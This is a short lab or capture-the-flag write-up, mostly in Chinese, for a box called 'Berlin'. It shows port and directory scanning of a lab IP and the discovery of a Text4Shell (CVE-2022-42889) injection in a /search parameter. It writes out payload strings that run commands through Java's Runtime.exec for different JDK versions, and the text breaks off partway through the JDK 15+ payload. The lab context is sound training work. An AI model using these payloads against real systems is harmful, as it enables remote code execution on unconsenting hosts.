Challenge 5 - Berlin
Challenge 5 - Berlin └─$ rustscan -a 192.168.193.150 --scripts none --ulimit 5000 | tee rustscan └─$ sudo nmap -sCV -p 22,8080 192.168.193.150 | tee nmap 只有兩個 Port,22 看來是標準 SSH,8080 顯示 http-favicon: Spring Java Framework └─$ sudo nmap -sU -p 161 192.168.193.150 | tee nmap-snmp,snmp 沒開 └─$ whatweb http://192.168.193.150:8080 | tee whatweb └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.193.150:8080 -k -t 150 -x txt,pdf,git,php | tee gobuster-8080 有個 /search 看來比較有用 用瀏覽器打開後網頁顯示 query & result,馬上帶入 query string "query=ooxx" 試試看 http://192.168.193.150:8080/search?query=whoami 發現帶入有顯示但沒顯示輸出 測試了一番後發現這個是透過 Java 的方式執行的命令所以語法前面要使用 ${script:javascript:java.lang.Runtime.getRuntime().exec('要執行的命令')} 可以參考這一篇 https://github.com/cxzero/CVE-2022-42889-text4shell 不同的 JDK 版本使用的標準語法不同,靶機環境是一個 JDK < 15 的環境 JDK < 15 : ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} JDK 15+ ${script:JEXL:''.getClass().forName('java.la...